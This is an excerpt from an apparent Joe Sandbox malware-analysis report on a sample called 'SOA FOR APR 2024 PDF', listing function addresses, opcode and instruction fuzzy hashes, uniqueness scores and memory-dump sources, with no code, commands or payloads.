Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_c9d000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daf20eaae00cf1712ad2ba72684d7542a09f7d57142c32a4d210f7f443844865
Instruction ID: f8e5a911bc570344139ce3a46699d1d5d5b5482d106fd05d1eb5bab8a5e7d1ad
Opcode Fuzzy Hash: daf20eaae00cf1712ad2ba72684d7542a09f7d57142c32a4d210f7f443844865
Instruction Fuzzy Hash: 5F213571504744DFDF05DF14D9C8F26BB65FB94324F20C6A9E94A2B246C37ADC06CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 00C9D3BC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3279011563.0000000000C9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_c9d000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92056a83f97ae7a2c42aa3952cbf0591e6b8d3dd59acb434d099a6c5acfba610
Instruction ID: 9a792d6d43ac669eaa50384a2caedcfae63239b068dc2c2a41e1ab589081f8d3
Opcode Fuzzy Hash: 92056a83f97ae7a2c42aa3952cbf0591e6b8d3dd59acb434d099a6c5acfba610
Instruction Fuzzy Hash: 4E210475504204DFCF04DF24D9C8B26BBA5FB94314F20C56DE90A5B296C37AE846CA62

Uniqueness

Uniqueness Score: -1.00%

Function 00C9D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3279011563.0000000000C9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_c9d000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff91a17261f97f9a35fb3e40ac923993e2db27318ebd085c9f7c0800c192859c
Instruction ID: 1668c13f459babcf537604fd9914e52f6dfbd59d130dc853d2218f7711db757e
Opcode Fuzzy Hash: ff91a17261f97f9a35fb3e40ac923993e2db27318ebd085c9f7c0800c192859c
Instruction Fuzzy Hash: 0721F2715042049FCF14CF24D9C8B26BF65FB84314F20C569E94A5B252C73AD856DA62

Uniqueness

Uniqueness Score: -1.00%

Function 00C9D12C Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3279011563.0000000000C9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_c9d000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff486edeb9af520e9e1fb764179bb8216229f3dbf384a77d4ef5da60c30bc609
Instruction ID: d027866afb4160d975024b4d857adf576f1fad4fb460146181f65a9dbf41828c
Opcode Fuzzy Hash: ff486edeb9af520e9e1fb764179bb8216229f3dbf384a77d4ef5da60c30bc609
Instruction Fuzzy Hash: 1B210472544240DFDF04DF28D9C8B2ABF65FB94324F20C56DD90A5B366C33AD846C662

Uniqueness

Uniqueness Score: -1.00%

Function 00E904B4 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3280595142.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_e90000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85aabf61af798f5b17dac9ee122734a68750d978bff9b348f53de2c6a3bf7e1e
Instruction ID: adec5af7d284621d21566b76aae048a94cbcfe65b630a8949441862e56b9876b
Opcode Fuzzy Hash: 85aabf61af798f5b17dac9ee122734a68750d978bff9b348f53de2c6a3bf7e1e
Instruction Fuzzy Hash: CA31E2B0D01218DFDB24DF99C589BDEBBF5EB48314F64901AE408BB340D7B59885CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 066B6CE8 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 317b867ea99198d711485222b04f145a5631a8f4795311cc6494fc160984cbc7
Instruction ID: 57e4fe709e7807cbdbced10c78fe708c57e2647f9307665c9ccf8676400cc830
Opcode Fuzzy Hash: 317b867ea99198d711485222b04f145a5631a8f4795311cc6494fc160984cbc7
Instruction Fuzzy Hash: 5921A231F00119DBCF94DA69F9546EDBBBAEB84310F249429E405E7354DB35ED818B84

Uniqueness

Uniqueness Score: -1.00%

Function 066B3430 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b608c1be1196df0cb7f6bd805f1cc80c21e56d0cc7432f16fda7029fe481718d
Instruction ID: 13b1b883986828cd74a06f8907fbbe1504c6207ede2d5eec35c2f29a31dab16e
Opcode Fuzzy Hash: b608c1be1196df0cb7f6bd805f1cc80c21e56d0cc7432f16fda7029fe481718d
Instruction Fuzzy Hash: 2C118E71F002289BCB65DF68D9805DEFBB5EB89310F1095AAE009FB304EB359985CB90

Uniqueness

Uniqueness Score: -1.00%

Function 066BF919 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4968a68c5898bc533f7beefce30c1b3a369625504cfcd69ae5587814c18fb0a6
Instruction ID: 5f89fe966d699b147c7ada48dd52b8061fa948a81f472b3ee8a1bdacd0f8a3aa
Opcode Fuzzy Hash: 4968a68c5898bc533f7beefce30c1b3a369625504cfcd69ae5587814c18fb0a6
Instruction Fuzzy Hash: B9110060B20224ABEF60366DDC1036F248ECB85760F20482BE40AD73F6C82CCC8243E6

Uniqueness

Uniqueness Score: -1.00%

Function 066BF928 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca4b2785b51185d80dcdd9e35ef6da317e079d13cf81839134e088d785165fba
Instruction ID: 4c64cd7258ece1058bacba056d2f422b1889242c5aa161070b635ab9b5779dfa
Opcode Fuzzy Hash: ca4b2785b51185d80dcdd9e35ef6da317e079d13cf81839134e088d785165fba
Instruction Fuzzy Hash: FF01B160B60228ABEF64356DDD5076F208ECBC5B60F20482AE40AD73F5C968CC8143E6

Uniqueness

Uniqueness Score: -1.00%

Function 066B3F90 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41330b23ddbce327805963da9c1d11f5295989eb91a44f41e661c73daefcc244
Instruction ID: 831e7372edb3920a73dd803abc3dae6e477ed6cd90337d1c753e1bc393462b59
Opcode Fuzzy Hash: 41330b23ddbce327805963da9c1d11f5295989eb91a44f41e661c73daefcc244
Instruction Fuzzy Hash: ED118E31B141288BDB94DA68D8146EF77FAEBC8250F004439D406E7358EE69DC428BD1

Uniqueness

Uniqueness Score: -1.00%

Function 066B41C9 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35df1f2cb916a9a33279d14e674dff2f387db71fa55b23dff92775a22abfbb1d
Instruction ID: fa9ba248f5b80b944aaa74d641f037a9c5808d279f3428e6622a5016dc88e3b6
Opcode Fuzzy Hash: 35df1f2cb916a9a33279d14e674dff2f387db71fa55b23dff92775a22abfbb1d
Instruction Fuzzy Hash: 25012838B101108FDB6596BCD8517AAE7EADBC9710F20883BE50AC7359EE38DD428350

Uniqueness

Uniqueness Score: -1.00%

Function 066B3F7F Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1ee4d32c0018c26aea2074952cfcd374494692063fff1887cbc240a0140ea68
Instruction ID: e6ea38d06b36c036d9ee98ca77b3cc6404798c0c56d57ce27ad4e6fce8eb4d1a
Opcode Fuzzy Hash: a1ee4d32c0018c26aea2074952cfcd374494692063fff1887cbc240a0140ea68
Instruction Fuzzy Hash: 93019E31B200259BDFA49E78D8146EBB3FAEFC8300F14453AD40AE7358EE24D9458BD1

Uniqueness

Uniqueness Score: -1.00%

Function 066B3C4B Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dcce3bf50bb95e2294c0aa061eb47557d95fee6c285ec5a3b850a8f334f663e
Instruction ID: e34623222e3bdcc5ad2a91d93be8f46c85c000afe85aeb96b077e1186f27235d
Opcode Fuzzy Hash: 9dcce3bf50bb95e2294c0aa061eb47557d95fee6c285ec5a3b850a8f334f663e
Instruction Fuzzy Hash: 6B21A2B5D01619AFCB00DF9AD984ADEFBB4FF49310F10852AE518B7740C378A554CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 066BF15A Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9846c2b88d8cb2cf006d0be2d964b7e280a9b790e3c898174b648a57d0dc075b
Instruction ID: 64567b872721a51cad73e722f5de3fe9ddc422373aea59b1e6de4eee7ae9be2f
Opcode Fuzzy Hash: 9846c2b88d8cb2cf006d0be2d964b7e280a9b790e3c898174b648a57d0dc075b
Instruction Fuzzy Hash: 66012675B001118FCB669A7CDC547AE67EACBC9620F188C2AF10AC7366DE38CC434384

Uniqueness

Uniqueness Score: -1.00%

Function 00C9D207 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3279011563.0000000000C9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_c9d000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58489c3f61924d27558184a5eb21aea17821769c0c96028cc0fb4c2ef8240ab9
Instruction ID: 0cce8e73b35542fd2fba63b2eb54740b859d5543be415efa2b117d2997ebb417
Opcode Fuzzy Hash: 58489c3f61924d27558184a5eb21aea17821769c0c96028cc0fb4c2ef8240ab9
Instruction Fuzzy Hash: EE11BF76504684CFDB12CF14D5C8B16FF61FB84324F24C6AAD84A5B656C33AD90ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00C9D3B7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3279011563.0000000000C9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_c9d000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: 0974eb103fe28dc230f9b441134cfcfa8915d3d850ea37abc2353a9f97b76a06
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: E8119D75504280DFDB06CF14D5C8B15BFA2FB84314F24C6AAD84A4B656C33AE94ACFA2

Uniqueness

Uniqueness Score: -1.00%

Function 066BA2CB Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e966cbc46685ade6b0f81b41226d4b59c1e262ea0d8b7a3af615b4b97e047025
Instruction ID: fe2360da0743f30b2f7e02afbf077a142a1eac1ae3741c29b4f5c6c5dcfbeb74
Opcode Fuzzy Hash: e966cbc46685ade6b0f81b41226d4b59c1e262ea0d8b7a3af615b4b97e047025
Instruction Fuzzy Hash: 8E01D430B001509FDBA5AAB8E9517AE6BE5EB85710F14983AE00ACB354EF25DC428380

Uniqueness

Uniqueness Score: -1.00%

Function 066B3C50 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f93f6d5747029061993b525d10a988ea232753d69a60d649f64ef519712acf51
Instruction ID: 36b47a891917dadfb071e7f43a36ec4b90f64a3b02ed25e16ae780a4f8e39404
Opcode Fuzzy Hash: f93f6d5747029061993b525d10a988ea232753d69a60d649f64ef519712acf51
Instruction Fuzzy Hash: 2211A2B5D01259AFCB00DF9AD984ADEFBB4FB49310F50812AE518B7340C374A554CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 00C9D127 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3279011563.0000000000C9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_c9d000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 212b96ca827b798fa91ccd41c0eac3b093082415815754ec50078a914fdf967d
Instruction ID: 5892f95f6c93f26df0693b5c8b906e56df543bb9a1c5eafb22e04cfa4cd42965
Opcode Fuzzy Hash: 212b96ca827b798fa91ccd41c0eac3b093082415815754ec50078a914fdf967d
Instruction Fuzzy Hash: CA11D076504280CFCB01CF14D5C4B19BF62FB44324F24C6ADD84A4B662C33AD85ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 066B41D8 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d0b2877e86af04fec3eec217ee455cc740a620b562230adcb85486a993cf3a1
Instruction ID: 9084ce187e70b88cc125330db9556dafb2b52895b32299a3d347b73a922f392d
Opcode Fuzzy Hash: 6d0b2877e86af04fec3eec217ee455cc740a620b562230adcb85486a993cf3a1
Instruction Fuzzy Hash: 7F01AD35B100209BDB6595ADE855BABA6DACBC9720F20843AE60EC7349EE75DC428390

Uniqueness

Uniqueness Score: -1.00%

Function 066BF168 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3df2a951ad6e049f33764d9f973e366e1b64b78e1f7213038b5c34f7d786d956
Instruction ID: 5801bafca5db48492cc40c704ae494494a8c2c40be6bd9a1204cc4e6d8f2948d
Opcode Fuzzy Hash: 3df2a951ad6e049f33764d9f973e366e1b64b78e1f7213038b5c34f7d786d956
Instruction Fuzzy Hash: 3D01DC75B100118BCBA99A2DEC50BAEA7EADBC9620F148839F10AC7360EE65DC424384

Uniqueness

Uniqueness Score: -1.00%

Function 066BA2D8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77585e0ed8fd9f65de77aea00887db7a0318677abc9cd5691120554f1671a64c
Instruction ID: 2f33aa675e195f923e4c6d425f4215cb1d3d0ba1243ea5fd197f3d97a8f1b07c
Opcode Fuzzy Hash: 77585e0ed8fd9f65de77aea00887db7a0318677abc9cd5691120554f1671a64c
Instruction Fuzzy Hash: 43018130B105149BCB64EABCE954BAE77DADB89710F109438F10AC7354EF26EC428784

Uniqueness

Uniqueness Score: -1.00%

Function 066BC783 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b15d025389c1ae80b873ee8ddc66a75d05d8bc08a4075b4457d4f7a840244900
Instruction ID: a58623c368b0ce5abf2607bb491bdbd525b98f372525b64b61aef92fed6812cd
Opcode Fuzzy Hash: b15d025389c1ae80b873ee8ddc66a75d05d8bc08a4075b4457d4f7a840244900
Instruction Fuzzy Hash: 9E017631E10224EBDB14AA74F840ADEB729FB85310F00447AE505EB345EB35AA448BC0

Uniqueness

Uniqueness Score: -1.00%

Function 066BC790 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 972067a1f2884c94dfe9d0dd04b217a4fa8a11b897bda51c974f44177db3afaf
Instruction ID: 379e9e513e7cb69a56d0a3641e6712dbe0bedb62b02391e6b7bda68ca5c0feb4
Opcode Fuzzy Hash: 972067a1f2884c94dfe9d0dd04b217a4fa8a11b897bda51c974f44177db3afaf
Instruction Fuzzy Hash: CE01F431F20228DBDB14AA69E840ADEB779FB85314F004439E905E7345DB71A9418BC0

Uniqueness

Uniqueness Score: -1.00%

Function 066BFF68 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe02d9de06b4c1976c1229c6b55c4a70ebe7ef70b450b28b40f01b86362b3117
Instruction ID: e214826630c0e50beb7830fea1b4f561b96bd874a5ead385945f1b1962bb5719
Opcode Fuzzy Hash: fe02d9de06b4c1976c1229c6b55c4a70ebe7ef70b450b28b40f01b86362b3117
Instruction Fuzzy Hash: 5FF03075E10718EF8B34CFA9D84049ABBF9EF8D610B00856AE455D3710D731E958CF90

Uniqueness

Uniqueness Score: -1.00%

Function 066B6448 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92d0c9a131f4565255b2fc66ca42e8914f0b0b001e965c01e82abfa3d7b80039
Instruction ID: 143cf1856b8eb00fff4fa2e639874a8fbcbe2dad29453c3c8d299014bfe74d1c
Opcode Fuzzy Hash: 92d0c9a131f4565255b2fc66ca42e8914f0b0b001e965c01e82abfa3d7b80039
Instruction Fuzzy Hash: 3CE0D871D1D5889BDF50CBB4DBA13E93B749B42118F2099E6C448DB302D17ACB41C350

Uniqueness

Uniqueness Score: -1.00%

Function 066B6458 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 352d4e2008c92ae84fde51fe48398ca9d3f89834aea1d97f1a769fb66f901f7c
Instruction ID: a9cf0b319e00d0271c63ebc251f60981ad8ccbda15bea7edee962be75b936571
Opcode Fuzzy Hash: 352d4e2008c92ae84fde51fe48398ca9d3f89834aea1d97f1a769fb66f901f7c
Instruction Fuzzy Hash: 67E0C2B1E11108EBDF50CEB4C9557AA77BCD701204F20D8A4D408C7301E172CA818380

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 066B7668 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$jq, xrefs: 066B7764
$jq, xrefs: 066B7BC0
$jq, xrefs: 066B7758
$jq, xrefs: 066B7B21
$jq, xrefs: 066B7BD6
$jq, xrefs: 066B7BB4
$jq, xrefs: 066B7BCA
$jq, xrefs: 066B7795
$jq, xrefs: 066B7789
$jq, xrefs: 066B7B15

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq$$jq$$jq$$jq$$jq$$jq$$jq
API String ID: 0-3810553869
Opcode ID: c3611a36eb1af4d0d387f371d8eb65b69af45d79dcea254e83ae72327bf36c83
Instruction ID: 97bba64acaabb476e11f3743ab00dd9cf6b3dfda4f9591c1929cde739b94377e
Opcode Fuzzy Hash: c3611a36eb1af4d0d387f371d8eb65b69af45d79dcea254e83ae72327bf36c83
Instruction Fuzzy Hash: 78122B30E01219CFDB64DF65C994A9EBBB6FF88300F2095A9D409AB365DB349D85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 066BA8F8 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$jq, xrefs: 066BAAB6
$jq, xrefs: 066BAAAA
$jq, xrefs: 066BAA74
$jq, xrefs: 066BA9EE
$jq, xrefs: 066BA9FA
$jq, xrefs: 066BAA49
$jq, xrefs: 066BAA80
$jq, xrefs: 066BAA55

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq$$jq$$jq$$jq$$jq
API String ID: 0-666546452
Opcode ID: c0f10606ecaa5f7329c03444935480a9348dde47c3c20fc969052a304886c13f
Instruction ID: 9b4bbec75e7ec768a4bada9d02c89958c80f54a9ad8bbe085c1b525f7e3f1fca
Opcode Fuzzy Hash: c0f10606ecaa5f7329c03444935480a9348dde47c3c20fc969052a304886c13f
Instruction Fuzzy Hash: 46917F30A10209DFDB64EFA4DA54BEEBBB6FF44300F209529E405A7395DB749C85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 066B7068 Relevance: 7.9, Strings: 6, Instructions: 405COMMON

Download Yara Rule

Strings

$jq, xrefs: 066B734A
$jq, xrefs: 066B73A4
$jq, xrefs: 066B73B0
$jq, xrefs: 066B757C
$jq, xrefs: 066B7504
$jq, xrefs: 066B7570

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq$$jq$$jq
API String ID: 0-3356825164
Opcode ID: 5149f042f37526f51367f442bfa4e02631b9c13042055851e72b05b75d6324fa
Instruction ID: 41e312f47b386122018007e970b87ba2fba2ab5ef14f3604627c15eb3e0a0a5e
Opcode Fuzzy Hash: 5149f042f37526f51367f442bfa4e02631b9c13042055851e72b05b75d6324fa
Instruction Fuzzy Hash: B2F14E30A00208CFDB54EB65D954AAEBBB7BFC4300F248469D4059B3A9DF35ED86DB94

Uniqueness

Uniqueness Score: -1.00%

Function 066B83A0 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$jq, xrefs: 066B85FA
$jq, xrefs: 066B866B
$jq, xrefs: 066B8606
$jq, xrefs: 066B865F

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq
API String ID: 0-2428501249
Opcode ID: a32dd9a04ee069219ad62e17d51732234a01127664cce4ff1eb8755d36e03822
Instruction ID: f91cbda609655d6611945972c21af0b59d3e9860e605fded5aa261653cc600ab
Opcode Fuzzy Hash: a32dd9a04ee069219ad62e17d51732234a01127664cce4ff1eb8755d36e03822
Instruction Fuzzy Hash: 68B14A30A00218CFDB54EF65C994AAEB7BAFF84314F24946DD4069B396DB74DC86CB80

Uniqueness

Uniqueness Score: -1.00%

Function 066B87B8 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

LRjq, xrefs: 066B88AB
$jq, xrefs: 066B8837
LRjq, xrefs: 066B88FA
$jq, xrefs: 066B8843

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID: LRjq$LRjq$$jq$$jq
API String ID: 0-2974078839
Opcode ID: 4cf93e6a65d81d9952bd5b47856d5bf519c0ca90d3998b20fb6c16c6524b7b85
Instruction ID: 6b91a551f7dc7cce06f1c4f607dc099c28b65e6489a27e63330f771d1d5400ec
Opcode Fuzzy Hash: 4cf93e6a65d81d9952bd5b47856d5bf519c0ca90d3998b20fb6c16c6524b7b85
Instruction Fuzzy Hash: 6F51A330B00201DFDB54EF28D954AAEB7AAFF85704F14956DE4059B3A9DB31EC85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 066BAC80 Relevance: 5.2, Strings: 4, Instructions: 165COMMON

Download Yara Rule

Strings

$jq, xrefs: 066BAE04
$jq, xrefs: 066BADB1
$jq, xrefs: 066BAE5C
$jq, xrefs: 066BAE33

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq
API String ID: 0-2428501249
Opcode ID: da36455648f198a4b6d9f4e8122fc2f6dde778f31608c43d614055b8e92e2ef1
Instruction ID: b824ca7fbeff56b77a0f84e83a1bb316e8e5217c14a2e477d5c0e605eb1a698f
Opcode Fuzzy Hash: da36455648f198a4b6d9f4e8122fc2f6dde778f31608c43d614055b8e92e2ef1
Instruction Fuzzy Hash: 9B519E30E10204CFDBA5DBA4E984AEDB7B6FF85310F14956AE805A7355DB34EC82DB90

Uniqueness

Uniqueness Score: -1.00%

